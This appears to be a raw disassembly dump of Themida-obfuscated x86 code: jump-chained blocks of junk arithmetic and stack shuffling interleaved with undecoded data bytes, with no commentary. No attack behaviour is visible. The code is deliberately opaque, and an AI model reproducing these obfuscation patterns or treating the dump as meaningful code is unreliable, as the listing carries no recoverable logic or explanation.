pop esp
push ebx
mov ebx, 2CA20ED4h
or edx, ebx
pop ebx
sub edx, 3AD95222h
sub esp, 4
mov [esp], eax
mov eax, 7A4025D6h
neg eax
push 4E36h
mov [esp], edi
mov edi, 5A172EB9h
or edi, 73E4184Ch
xor edi, 6FEA1F2Fh
add edi, 292FF3D1h
add edi, 1
push edi
not dword ptr [esp]
pop edi
shr edi, 4
jmp loc_57284F
; ---------------------------------------------------------------------------
aBUJS_ db 'Ãu;Jêé.Ë',0
db 0
; ---------------------------------------------------------------------------
loc_569DEB: ; CODE XREF: Themida_:0056D42Dj
mov eax, [esp]
add esp, 4
dec ecx
jmp loc_567E7F
; ---------------------------------------------------------------------------
dw 0EC83h
dd 24048904h, 1076E9h
db 0
; ---------------------------------------------------------------------------
loc_569E05: ; CODE XREF: Themida_:005636CDj
mov [esp], ebp
push 6582h
mov [esp], ecx
push ebp
push 32AC23B0h
mov ebp, [esp]
jmp loc_561F89
; ---------------------------------------------------------------------------
dw 47B9h
dd 8171ED71h, 246F96C1h, 8E9C13Eh, 0E9D1F741h, 754Ch, 30D0BE56h
dd 0F68159FDh, 0C186FD7h, 0C58FEE81h, 0F0293D95h, 0FFB9E3E9h
dd 24348BFFh, 0FFAFC3E9h, 4BF57FFh, 57000000h, 30242C81h
dd 58383D03h, 3D033005h, 8DE95F38h
db 10h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_569E6F: ; CODE XREF: Themida_:00574B15j
mov edx, 427D1D35h
sub edi, edx
pop edx
sub edi, 363360DFh
xor edi, 0CCF955B5h
jmp loc_56F555
; ---------------------------------------------------------------------------
dd 0C681E689h, 4, 4BB53h, 22E90000h
db 0A0h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_569E9B: ; CODE XREF: Themida_:0056EBA0j
mov [esp], ebp
mov ebp, 109E06DEh
shr ebp, 4
jmp loc_56F2D0
; ---------------------------------------------------------------------------
db 56h
dd 0C6815E54h, 4, 8704C683h, 15C2434h, 243C8BFAh, 4C481h
dd 14330000h, 24143124h, 8B241433h, 34FF2424h, 2434FF24h
dd 0E924048Bh, 0FFFFF23Fh
; ---------------------------------------------------------------------------
loc_569EE0: ; CODE XREF: Themida_:005648C2j
push 4
pop ebx
jmp loc_575FC9
; ---------------------------------------------------------------------------
db 83h
dd 0C8904ECh, 4EC8124h, 89000000h, 0BA522424h, 4, 4245401h
dd 240C8B5Ah, 4C481h, 3B680000h, 89000050h, 82E92404h
db 0Dh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_569F1B: ; CODE XREF: Themida_:00564EABj
not ebp
xor ebp, 79E9718Fh
add ebp, 79AE32D5h
add eax, ebp
pop ebp
push ebp
mov ebp, 4
add eax, ebp
pop ebp
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
jmp loc_576134
; ---------------------------------------------------------------------------
loc_569F43: ; CODE XREF: Themida_:00562AEDj
push ebp
push 69977C9Dh
pop ebp
not ebp
or ebp, 75412AE6h
jmp loc_56C9DE
; ---------------------------------------------------------------------------
db 0FFh
a4Sh db '4$]éhµ',0
align 10h
dd 4C581h, 5680000h, 89000000h, 4B9240Ch, 1000000h, 2C8759CDh
dd 24248B24h, 4C7A6852h, 0E9E90000h
db 13h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_569F87: ; CODE XREF: Themida_:0056EA77j
add edx, 1CB210F2h
pop ecx
push edi
mov edi, 404B6F53h
sub edi, 404B6F4Fh
add edx, edi
pop edi
jmp loc_562481
; ---------------------------------------------------------------------------
dd offset loc_418364+4
dw 0E900h
dd 7924h, 4EC8151h, 89000000h, 97E92424h, 8B00008Ah, 9768241Ch
dd 0E9000066h, 0FFFF7D44h
; ---------------------------------------------------------------------------
loc_569FC8: ; CODE XREF: Themida_:0056F340j
sub esp, 4
mov [esp], ecx
mov ecx, 23480A40h
sub ebx, ecx
pop ecx
pop edi
push edx
mov edx, 0
add edx, ebx
mov ecx, [edx]
jmp loc_56C674
; ---------------------------------------------------------------------------
loc_569FE9: ; CODE XREF: Themida_:00565307j
pop eax
push esi
jmp loc_56F325
; ---------------------------------------------------------------------------
loc_569FF0: ; CODE XREF: Themida_:005650DEj
pop esp
jmp loc_56CF5D
; ---------------------------------------------------------------------------
loc_569FF6: ; CODE XREF: Themida_:005653C6j
xor edi, 68A13002h
push eax
push edi
mov edi, 6F131A41h
mov eax, edi
pop edi
not eax
add eax, 9EE32A16h
jmp loc_568316
; ---------------------------------------------------------------------------
dw 74B8h
dd 0E9791D60h, 99A2h, 710568h, 240C8900h, 0FAFBCCB9h, 0C5EF81BFh
dd 10C917Ch, 0C5C781CFh, 0E90C917Ch, 0C0CFh, 10E8C381h
dd 0D989B429h, 1B18BF5Bh, 0C7811AE1h, 0FD33ABAh, 0EF81CF29h
dd 0FD33ABAh, 81D7E9h, 0C1015F00h, 8904EC83h, 50512404h
dd 0FFBFEAE9h, 78EABBFFh, 0D8010F88h, 0E9E8015Bh, 0FFFFF1D5h
dd 5324048Fh, 0FFE12CE9h, 243C8BFFh, 6804C483h, 9D8h, 0BE243489h
dd 4, 0BFE9F129h
db 46h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56A09F: ; CODE XREF: Themida_:005750A4j
pop edi
xchg ebp, [esp]
mov esp, [esp]
xor edi, 77EE17F1h
jmp loc_5637BA
; ---------------------------------------------------------------------------
loc_56A0B1: ; CODE XREF: Themida_:005681C9j
add ebx, edi
push dword ptr [esp]
mov edi, [esp]
add esp, 4
jmp loc_566085
; ---------------------------------------------------------------------------
loc_56A0C1: ; CODE XREF: Themida_:00564DF2j
mov edi, ebx
mov ebx, [esp]
add esp, 4
sub edx, 63EC232Eh
add edx, edi
add edx, 63EC232Eh
pop edi
pop ebx
xchg edx, [esp]
mov esp, [esp]
jmp loc_56F7AC
; ---------------------------------------------------------------------------
db 89h
dd 0F9B82404h, 257F6A3Ah, 781F63C6h, 0C92E2B05h, 50EF350Dh
dd 895585D3h, 4976E9C5h, 2C890000h, 3BBEE924h, 45680000h
dd 89000070h, 0FF542434h, 3CE92434h, 83000042h, 68E904C4h
dd 1FFFF9Eh, 3C8B5FFAh, 4C48124h, 0E9000000h, 61CCh, 5C243C87h
dd 24048966h, 0B210E9h, 4C48100h, 53000000h, 349EE9h
db 0
; ---------------------------------------------------------------------------
loc_56A151: ; CODE XREF: Themida_:00574C9Dj
push ecx
mov ecx, esp
add ecx, 4
jmp loc_56E275
; ---------------------------------------------------------------------------
db 1
dd 643105F8h, 815F011Ah, 4ECh, 24048900h, 0FFAF15E9h, 0EAEB81FFh
dd 0E9424A2Ah, 0A16Eh, 24048F5Eh, 7152E95Ch
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_56A18A: ; CODE XREF: Themida_:0056F71Bj
or eax, ecx
pop ecx
neg eax
push ecx
jmp loc_56E420
; ---------------------------------------------------------------------------
db 81h, 2 dup(0F5h)
dd 812D1D43h, 3899B7C5h, 5DE82976h, 16E9D8F7h, 81FFFFF2h
dd 6A7E2E9h, 6EE1E950h, 5168FFFFh, 5F3A3B3Dh, 7CC4C781h
dd 53E96307h
db 0A9h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56A1C7: ; CODE XREF: Themida_:0057524Fj
pop ebx
sub al, 0C3h
push dword ptr [esp]
pop ebx
push 1767h
jmp loc_5758B8
; ---------------------------------------------------------------------------
loc_56A1D8: ; CODE XREF: Themida_:0056250Dj
add edi, 652B05A5h
sub eax, 70620F5h
jmp loc_563D16
; ---------------------------------------------------------------------------
dd offset dword_4F1348+320h
dd 24148900h, 0D849A7BAh, 1EA8178h, 0F7000000h, 5EF281DAh
dd 818727B6h, 153E20C6h, 0C55EE958h, 0E181FFFFh, 41AD7756h
dd 68535550h, 0E3F6C75h, 87C3815Bh, 89FE40BFh, 0B4B85BDDh
dd 314E0373h, 0C1815DE8h, 2B179C9h, 1490E981h, 0C10179FDh
dd 1490C181h, 2FE979FDh, 0B8FFFFEFh, 57F100D4h, 0B16B2135h
dd 7F2D4856h, 1BB7902h, 33E958C2h, 1000077h, 0E2C281F2h
dd 5E59925Ah, 8124048Bh, 4C4h, 8DE95500h, 0FF000067h, 669D1C77h
dd 241CD259h, 9E20E99Ch, 0E95A0000h, 0FFFF94EAh
; ---------------------------------------------------------------------------
loc_56A28C: ; CODE XREF: Themida_:005731D8j
xchg ebx, [esp]
pop esp
push 4849h
mov [esp], ebx
jmp loc_562B89
; ---------------------------------------------------------------------------
db 81h, 0C1h, 2
dd 68000000h, 4D88h, 0FF240C89h, 59042474h, 0E924048Fh
dd 962Eh, 0BD8EB81h, 0D3015F9Dh, 0BD8C381h, 148B5F9Dh
dd 4C48324h, 68685156h, 5978BA1Bh, 0F49C981h, 50534FCCh
dd 1E099B8h, 0C9A9E980h, 8B66FFFFh, 54512404h, 85E959h
dd 0C9FE0000h, 8904EC83h, 486240Ch, 86C8FE24h, 68592404h
dd 0
dd 4E242C80h, 80240C28h, 8A4E2404h, 0C483240Ch, 17F18004h
dd 2859C380h, 0F50DE9CBh, 8B66FFFFh, 0EC83240Ch, 243C8904h
dd 243C8B54h, 837EE9h, 48F6600h, 66566624h, 660002BEh
dd 2247401h, 8F665E66h, 68662404h, 8966269Eh, 6866241Ch
dd 0F8E90002h, 87000060h, 64F7E9D6h, 685A0000h, 0D52h
dd 89240C89h, 40E957E1h, 810000B2h, 4C1h, 4E98300h, 0E9240C87h
dd 0FFFFD70Dh
; ---------------------------------------------------------------------------
loc_56A388: ; CODE XREF: Themida_:00562F08j
mov ecx, 40EE0FE3h
xor edx, ecx
pop ecx
jmp loc_5745C8
; ---------------------------------------------------------------------------
db 81h, 0F3h, 7Bh
dd 8B67EA10h, 0C481242Ch, 4, 4EC8152h, 89000000h, 25B9240Ch
dd 5150324Bh, 33240481h, 5A07480Eh, 0E33EA81h, 0F5E90748h
dd 59000000h, 3537E9h
db 0
; ---------------------------------------------------------------------------
loc_56A3CD: ; CODE XREF: Themida_:0057699Bj
add esp, 4
add edi, 0A25DC6DCh
push edi
mov edi, esp
add edi, 4
sub edi, 4
jmp loc_56D0BD
; ---------------------------------------------------------------------------
db 0FFh, 34h, 24h
dd 6824048Bh, 595Eh, 0FF9F3CE9h, 241C33FFh, 0C89665Ch
dd 6C38E924h, 8195FFFFh, 4430DF5h, 0E9E90158h, 586Fh
; ---------------------------------------------------------------------------
loc_56A418: ; CODE XREF: Themida_:00561ACEj
sub eax, 0F7DF77F1h
add ebx, eax
jmp loc_56D97A
; ---------------------------------------------------------------------------
dd 59CB015Dh, 10D7BE56h, 814E052Bh, 0C25130F6h, 0E8C6815Bh
dd 87762B56h, 38A0E9EEh, 814F0000h, 7E5820F7h, 4EC8361h
dd 0BB241C89h, 21276A0h, 2258E381h, 0E3C17FBDh, 70E94B08h
dd 5BFFFFB1h, 6CF68059h, 0A3FE9h, 0D8295E00h, 2E060805h
dd 0CDBF5716h, 0E959232Ah, 1230h, 8F04C483h, 248B2404h
dd 0CA895224h, 241C8B52h, 0FF7139E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56A495: ; CODE XREF: Themida_:00573287j
xchg ebp, [esp]
pop esp
jmp loc_5761B0
; ---------------------------------------------------------------------------
dw 7AB9h
dd 81570B09h, 1D22F5C1h, 0D5E9814Fh, 92B22C8h, 240C8BCBh
dd 0E9E38953h, 8418h, 4EAC159h, 0FFEB23E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56A4C5: ; CODE XREF: Themida_:0056F3F0j
sub ecx, 10386358h
sub ecx, 3F3A2F5Ah
add eax, [ecx]
push dword ptr [esp]
mov ecx, [esp]
sub esp, 4
mov [esp], esi
jmp loc_5654CF
; ---------------------------------------------------------------------------
dd 8B2434FFh, 6E92404h, 830000BCh, 0C8904ECh, 0C127E924h
dd 7405FFFFh, 503376D7h, 0D829585Bh, 4655055Bh, 0EC814D21h
dd 4, 0E9242C89h, 0FFFFE4BAh, 71ABE956h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56A51E: ; CODE XREF: Themida_:005745A3j
mov [esp], ecx
mov ecx, 4
add ebp, ecx
mov ecx, [esp]
jmp loc_565D4D
; ---------------------------------------------------------------------------
loc_56A530: ; CODE XREF: Themida_:0056FA57j
mov [esp], eax
jmp loc_568A6B
; ---------------------------------------------------------------------------
dd 895BDD31h, 0CB26E9E8h, 0EC80FFFFh, 21F480FEh, 5335B753h
dd 1246C80h, 0F2E95BFFh, 0B7FFFFC6h, 0FFE700A4h, 0E9582434h
dd 0FFFFBEF2h, 0CA80DAF6h, 0EEEA80A3h, 0F65AD400h, 54B551D4h
dd 59C580h, 0D09BE9ECh, 0D029FFFFh, 155AE95Ah, 1C310000h
dd 241C3324h, 6624248Bh, 0E9240C8Bh, 0FFFFF171h, 24048F5Bh
dd 76B685Ch, 0ECE90000h, 5200000Eh, 8904EC83h, 6FBB241Ch
dd 0E936AF2Ah, 0A3D3h, 15A3C381h, 0D3295412h, 15A3EB81h
dd 34FF5412h, 9B34E924h, 1C890000h, 240C8724h, 0FFD801E9h
dd 244481FFh, 5A293604h, 244C010Ah, 68565104h, 1B577E34h
dd 6919E9h, 4DE98000h, 0E9A0E980h, 320Bh, 0C104E3C1h, 0EB8103EBh
dd 4969A70Eh, 0FF84CAE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56A60D: ; CODE XREF: Themida_:00574FBAj
pop edx
add edx, 4
sub edx, 4
xchg edx, [esp]
mov esp, [esp]
mov [esp], ebx
mov ebx, 1Ch
sub ebx, 66BE3975h
add ebx, edi
push 11EDh
mov [esp], edi
push edx
mov edx, 716635Bh
mov edi, 13CB2B19h
xor edi, 58F23824h
sub edi, 0DD64766Dh
add edi, 31666330h
sub edi, edx
sub edi, 31666330h
jmp loc_573E7F
; ---------------------------------------------------------------------------
db 29h
dd 0DCE95EF5h, 28FFFFA1h, 666D2CC8h, 4CE95159h
db 0B3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56A673: ; CODE XREF: Themida_:00561106j
push edx
jmp loc_5743EF
; ---------------------------------------------------------------------------
db 2Ch, 15h, 28h
dd 5A1504D0h, 0D828AE2Ch, 0AEB25266h, 0D0001604h, 0FF7B40E9h
dd 243C89FFh, 4BFh, 4E1B6800h, 3C890000h, 4EC8124h, 89000000h
dd 27B9240Ch, 0C116BE7Bh, 814904E1h, 399CBE9h, 244481FEh
dd 0E2691904h, 244C2960h, 246C8104h, 0E2691904h, 18E95960h
db 8Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56A6D3: ; CODE XREF: Themida_:00570ABEj
sub edi, 4
push 4140h
mov [esp], edi
jmp loc_574674
; ---------------------------------------------------------------------------
loc_56A6E3: ; CODE XREF: Themida_:00569813j
pop edx
add esp, 4
or eax, eax
jz loc_56B636
push dword ptr [edi+1Ch]
push esi
mov esi, 1B320405h
push ebx
push edx
mov edx, 10DB24B2h
sub edx, 1
push ecx
jmp loc_5628F6
; ---------------------------------------------------------------------------
loc_56A70B: ; CODE XREF: Themida_:005766DFj
push ecx
push edx
push ecx
mov ecx, 6EA56BF6h
and ecx, 61BD70F7h
shr ecx, 6
add ecx, 20F19299h
mov edx, ecx
jmp loc_561690
; ---------------------------------------------------------------------------
aSsi@ db 'SéI@',0
dw 8100h
dd 4C6h, 0D4E1E900h, 0C328FFFFh, 0E9B5B252h, 0FFFF9885h
dd 5A5B585Bh, 0E9590A88h, 0FFFF68F2h
; ---------------------------------------------------------------------------
loc_56A750: ; CODE XREF: Themida_:00575158j
push dword ptr [esp]
jmp loc_575A04
; ---------------------------------------------------------------------------
dd 66E9FA89h, 8100002Bh, 4C4h, 243C3300h, 33243C31h, 248B243Ch
dd 310AE924h, 0C5810000h, 707752F2h, 0FF89BDE9h, 4C481FFh
dd 8F000000h, 248B2404h, 0AB0F6624h, 0E99C2404h, 0AAA7h
dd 137AF381h, 0D9897018h, 32EB815Bh, 1166C40h, 5C5AE9CBh
dd 0D3310000h, 83C4E95Ah, 0EC810000h, 4, 68241489h, 0A900BBA4h
dd 992DE95Ah, 74FF0000h, 3C8B0424h, 0FFABE924h, 0E953FFFFh
dd 1F5Fh, 0C5151705h, 24348B72h, 6804C483h, 7902h, 68241489h
dd 7196h, 0E9240C89h, 1A32h
; ---------------------------------------------------------------------------
loc_56A7FC: ; CODE XREF: Themida_:005610DBj
pop ebp
push ebp
jmp loc_56CBE3
; ---------------------------------------------------------------------------
loc_56A803: ; CODE XREF: Themida_:0056BADBj
push edx
mov edx, 0EFE2771h
shl edx, 8
jmp loc_56E69A
; ---------------------------------------------------------------------------
loc_56A811: ; CODE XREF: Themida_:0056CF7Ej
inc eax
add eax, 248923C4h
mov edi, eax
pop eax
push ebx
mov ebx, 4E9039DCh
jmp loc_575A1F
; ---------------------------------------------------------------------------
db 66h, 8Bh, 0Ch
aSB db '$é*B',0
align 2
dw 5B04h
dd 83240C8Bh, 0D80004C4h, 50E78957h, 2B0276B8h, 0BD2D4842h
dd 407F1F4Eh, 3502E0C1h, 0C2ECEE0h, 0E6E9C701h, 1000054h
dd 75CDE9EFh, 0C3810000h, 5B8548F1h, 0D25E9h, 66C30000h
dd 0E5B25251h, 0E0B05066h, 5866C228h, 0F280CAFEh, 0B1516604h
dd 66CA3024h, 81240C8Bh, 2C4h, 5AD18800h, 5966CB00h, 66C0B60Fh
dd 6824148Bh, 33B2h, 81240489h, 4ECh, 8CF9E900h, 0C4830000h
dd 240C8704h, 0D324248Bh, 0E99C240Ch, 0B13Fh, 8952C7FEh
dd 4C281E2h, 81000000h, 2EAh, 24148700h, 1489665Ch, 0E9D0B224h
dd 0BD44h, 8DC0B60Fh, 67688704h, 0E9000030h, 77C3h
; ---------------------------------------------------------------------------
loc_56A8F0: ; CODE XREF: Themida_:00573962j
pop esp
mov [esp], esi
push 4
mov esi, [esp]
jmp loc_56C02B
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
dd 4EC8353h, 81242489h, 42404h, 555B0000h, 1D58ABBDh, 7E5C115h
dd 0FFFFC581h, 0F581FFFFh, 8EAC557Bh, 348DEB81h, 0C381490Fh
dd 59F17956h, 0EB81EB01h, 59F17956h, 348DC381h, 0F9E9490Fh
dd 5F0000AFh, 0B9E9D801h, 81000000h, 2C4h, 3EFC000h, 2120E9h
dd 24048F00h, 6624248Bh, 5724148Bh, 243C8B54h, 81E68956h
dd 4C6h, 0B1C4E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56A97A: ; CODE XREF: Themida_:00571418j
add edx, ebp
sub edx, 6B6D157Bh
pop ebp
push 7F76h
mov [esp], ebx
mov ebx, 4DBB7159h
inc ebx
jmp loc_572350
; ---------------------------------------------------------------------------
dw 0BD55h
dd 6F6E0A32h, 7687CD81h, 814D7B87h, 825569CDh, 0F5814D5Ch
dd 30DBB5BEh, 515DE901h, 5938428Fh, 3DEA68h, 241C8900h
dd 0F10704BBh, 0F2E9515Fh, 0BB000018h, 66B80A2Ch, 0FFF667E9h
dd 81E289FFh, 4C2h, 4EA8100h, 87000000h, 47E92414h
db 14h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56A9EB: ; CODE XREF: Themida_:00562A12j
push ebp
mov ebp, 4
add esi, ebp
mov ebp, [esp]
add esp, 4
sub esp, 4
mov [esp], esi
push dword ptr [esp+4]
jmp loc_562732
; ---------------------------------------------------------------------------
dd 4D1E2D5Bh, 7052D31h, 14FB822h, 22072DD8h, 0E3E94FB8h
dd 560000A4h, 0B03F8DBEh, 6EEC108h, 0C0FAF681h, 3AE90022h
dd 810000A4h, 4C6h, 4EE8100h, 0E9000000h, 0FFFF8849h, 0FF2434FFh
dd 68592434h, 128Dh, 54240C89h, 587E959h, 34FF0000h, 2434FF24h
dd 51240C8Bh, 0C181E189h, 4, 8704C183h, 515C240Ch, 2D68E189h
dd 89000032h, 4BF243Ch, 81000000h, 0DB6EEDC1h, 81F9010Ch
dd 0DB6EEDE9h, 0BF575F0Ch, 4, 335FF901h, 92E9240Ch, 87FFFFD0h
dd 815C243Ch, 0B50754C1h, 0D4F18163h, 2927BAD6h, 0EB8159CBh
dd 0BAD031Eh, 0BD55C301h, 0BAD031Eh, 0FFEF92E9h, 240433FFh
dd 33240431h, 248B2404h, 0B3E95624h
db 99h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56AADB: ; CODE XREF: Themida_:00572F7Dj
add cl, 5Ch
mov dh, cl
pop ecx
jmp loc_561E94
; ---------------------------------------------------------------------------
loc_56AAE6: ; CODE XREF: Themida_:0056492Ej
push esi
push ebx
jmp loc_56E196
; ---------------------------------------------------------------------------
loc_56AAED: ; CODE XREF: Themida_:0056FE3Cj
push 3E1Dh
mov [esp], ecx
jmp loc_5666E2
; ---------------------------------------------------------------------------
dw 0BF57h
dd 6BC6479Ch, 9FE9F787h, 0B8FFFFE0h, 40CA75EFh, 5B77E9h
dd 0F1814900h, 675C68BFh, 0D196E953h, 0E089FFFFh, 405h
dd 4E88300h, 8B240487h, 4892424h, 3DE95124h, 81FFFF7Ah
dd 0FD428DEEh, 412D5B2Ch, 12CA649h, 494105F0h, 565E2CA6h
dd 2BEh, 5D5E2D00h, 0F02937B9h, 0B95D5E05h, 24348B37h
dd 4C481h, 4330000h, 0CA69E924h, 6C81FFFFh, 5FB90424h
dd 6C012D30h, 0B9510424h, 2D305FB9h, 8244C01h, 48F5D59h
dd 13A46824h, 14890000h, 0FE89E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56AB96: ; CODE XREF: Themida_:0056E4BCj
add edx, edi
sub edx, 19D12A08h
sub edx, 4771591Ch
jmp loc_5623CC
; ---------------------------------------------------------------------------
db 81h, 0CAh, 21h
dd 0E913415Fh, 9D13h, 8108E9C1h, 904629F1h, 0F1814930h
dd 0CF49F3DDh, 127BEA81h, 0B1E90145h
db 0BDh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56ABCF: ; CODE XREF: Themida_:00576A2Fj
sub esp, 4
mov [esp], edx
sub esp, 4
mov [esp], ebx
mov ebx, 611C2069h
neg ebx
jmp loc_56DEBD
; ---------------------------------------------------------------------------
dw 0C283h
dd 24148704h, 0BC3805Ch, 0FFFCE7E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56ABF9: ; CODE XREF: Themida_:00573161j
sub ebp, edx
pop edx
pop ecx
jmp loc_565F67
; ---------------------------------------------------------------------------
dw 0EEC1h
dd 81D6F705h, 46CA8CEEh, 8BF0019Ch, 0C4832434h, 0E9515304h
dd 2B37h, 42Dh, 24048700h, 2434895Ch, 0BF57E689h, 4, 0FFAC33E9h
dd 2BC381FFh, 126BF5Ah, 2BEB81EBh, 8B26BF5Ah, 0C481242Ch
dd 4, 6963E9h, 4C58100h, 81000000h, 4EDh, 8705E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56AC62: ; CODE XREF: Themida_:00564B38j
pop ebx
push esi
mov esi, 4
sub edx, esi
pop esi
xchg edx, [esp]
pop esp
jmp loc_56C80D
; ---------------------------------------------------------------------------
loc_56AC75: ; CODE XREF: Themida_:00575C92j
push dword ptr [esp]
jmp loc_5739D0
; ---------------------------------------------------------------------------
db 8Bh, 2 dup(24h)
dd 0FF63BDE9h, 0F82966FFh, 1B862D66h, 6305665Fh, 0BC2D6602h
dd 0D801661Ah, 3EA3E9h, 2643B800h, 0E8C1081Eh, 0CE5DE902h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56ACAA: ; CODE XREF: Themida_:0056DF4Aj
mov edx, [esp]
jmp loc_561723
; ---------------------------------------------------------------------------
dw 1433h
dd 24143124h, 0FFAD35E9h, 5FFA89FFh, 0FFF8F3E9h, 2434FFFFh
dd 5724048Bh, 0C7815F54h, 4, 4C781h, 3C870000h, 76685C24h
dd 89000037h, 7668243Ch, 83000051h, 248904ECh, 24048124h
dd 4, 5724048Fh, 4BFh, 246C8100h, 67280904h, 2B1E939h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_56AD0E: ; CODE XREF: Themida_:0056B8EEj
add eax, 57DF169Dh
pop ebp
sub eax, 2A1F136Dh
push 61B8h
jmp loc_576ADC
; ---------------------------------------------------------------------------
db 5Bh
dd 0BD55565Ah, 10667188h, 0D666C581h, 0EE892A26h, 7816E95Dh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56AD3A: ; CODE XREF: Themida_:005671FBj
mov edi, [esp]
add esp, 4
jmp loc_56F72D
; ---------------------------------------------------------------------------
db 8Bh, 0Ch, 24h
dd 4C481h, 4DE90000h, 66FFFFD6h, 88E88850h, 66C288D5h
dd 0E9D18858h, 98B8h, 4C681h, 34870000h, 48F5C24h, 24248B24h
dd 24040966h, 5E75E99Ch
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_56AD7E: ; CODE XREF: Themida_:00566B34j
dec edi
shl edi, 6
xor edi, 4F2107EBh
jmp loc_5643B9
; ---------------------------------------------------------------------------
db 8Bh, 2 dup(24h)
dd 0FF62ADE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56AD95: ; CODE XREF: Themida_:0056D635j
pop edi
push esi
mov esi, 59B16261h
and esi, 6BEF0D46h
xchg edx, esi
push esi
mov esi, 0FFFFFFFFh
sub edx, esi
pop esi
xchg edx, esi
dec esi
jmp loc_563CC0
; ---------------------------------------------------------------------------
db 56h, 54h, 5Eh
dd 6827BF57h, 0EF816601h, 66016823h, 0E95FFE01h, 0FFFFFF98h
dd 0BF57h, 0AAE90000h
db 1Dh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56ADD7: ; CODE XREF: Themida_:005643D6j
pop edx
sub eax, 181A5DE8h
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
push 6679h
mov [esp], ebp
mov ebp, esp
push edx
jmp loc_571E83
; ---------------------------------------------------------------------------
dw 8959h
dd 2434FFDEh, 4C4835Bh, 4247431h, 2434FF5Eh, 4C48158h
dd 68000000h, 2AB8h, 0B9240C89h, 61996A20h, 85FCE9h, 4C28100h
dd 81000000h, 2C2h, 0A256E900h, 0BF570000h, 42F72E1Bh
dd 704FF781h, 24E970A7h
db 6Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56AE43: ; CODE XREF: Themida_:0056EBA7j
push 3DE2h
jmp loc_573ACE
; ---------------------------------------------------------------------------
loc_56AE4D: ; CODE XREF: Themida_:0057013Aj
mov [esp], ecx
add dword ptr [esp], 0FE564D4h
pop eax
sub eax, 0FE564D4h
jmp loc_56AE99
; ---------------------------------------------------------------------------
loc_56AE62: ; CODE XREF: Themida_:005700E6j
add esi, ebp
pop ebp
shr esi, 2
jmp loc_565D3A
; ---------------------------------------------------------------------------
loc_56AE6D: ; CODE XREF: Themida_:00569CF1j
mov ecx, [esp]
add esp, 4
jmp loc_5748AA
; ---------------------------------------------------------------------------
db 0B8h
dd 14975295h, 0E906E8C1h, 0E46h
; ---------------------------------------------------------------------------
loc_56AE88: ; CODE XREF: Themida_:00567CAFj
push eax
push esi
mov esi, 74393420h
mov eax, 0F8A50FA4h
jmp loc_576992
; ---------------------------------------------------------------------------
loc_56AE99: ; CODE XREF: Themida_:0056AE5Dj
push eax
pop edx
pop eax
mov ecx, [esp]
add esp, 4
and ecx, edx
jmp loc_563AA2
; ---------------------------------------------------------------------------
dd 8001C680h, 0C380A7F6h, 92C38040h, 0FF7133E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56AEBD: ; CODE XREF: Themida_:0056FA4Cj
and eax, ebx
mov ebx, [esp]
push ebp
push esp
jmp loc_574597
; ---------------------------------------------------------------------------
db 0BFh, 1Dh, 5Ah
dd 50E97E9Ah
db 2, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56AED3: ; CODE XREF: Themida_:005620F3j
push 0
jmp loc_575A27
; ---------------------------------------------------------------------------
loc_56AEDD: ; CODE XREF: Themida_:00574262j
push 0
sub dword ptr [esp], 0DD76901h
sub dword ptr [esp], 6BEA75D1h
jmp loc_568D61
; ---------------------------------------------------------------------------
loc_56AEF5: ; CODE XREF: Themida_:005617F7j
pop cx
jmp loc_571FFF
; ---------------------------------------------------------------------------
dd 23F6ED81h, 0C5012031h, 23F6C581h, 81582031h, 2C5h, 74FF5500h
dd 8F5D0424h, 0F6E92404h, 89000067h, 4BE2434h, 81000000h
dd 96DF3C1h, 0AF3BE96Ah, 0EE010000h, 0E9242C8Bh, 6B92h
dd 8105EDC1h, 420EF9EDh, 27F58120h, 1B216A8h, 875E5DEAh
dd 13E92414h
db 88h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56AF57: ; CODE XREF: Themida_:0057176Bj
mov edx, esp
jmp loc_56CA13
; ---------------------------------------------------------------------------
loc_56AF5E: ; CODE XREF: Themida_:00566784j
add esp, 4
and ecx, 6598698Ch
not ecx
not ecx
push ebp
jmp loc_5669A7
; ---------------------------------------------------------------------------
dd 8244429h, 5624048Bh, 0C681E689h, 4, 0E904C683h, 1B5Ch
; ---------------------------------------------------------------------------
loc_56AF8C: ; CODE XREF: Themida_:005685BAj
mov ebp, [esp]
jmp loc_570604
; ---------------------------------------------------------------------------
dd 4EC81h, 0B3E90000h, 0BBFFFF7Eh, 1, 0FF6137E9h, 4BBFFh
dd 5C010000h, 6CE90424h, 310000B7h, 73E92404h, 1FFFFE5h
dd 8104247Ch, 9042444h, 5F396728h, 5ABB535Fh, 0E975344Ah
dd 0FFFF9586h
; ---------------------------------------------------------------------------
loc_56AFD8: ; CODE XREF: Themida_:005662C1j
xchg ecx, [esp]
pop eax
jmp loc_566797
; ---------------------------------------------------------------------------
db 50h, 57h, 68h
dd 57172C8Ah, 8CEF815Fh, 81165E60h, 65101EF7h, 19F78123h
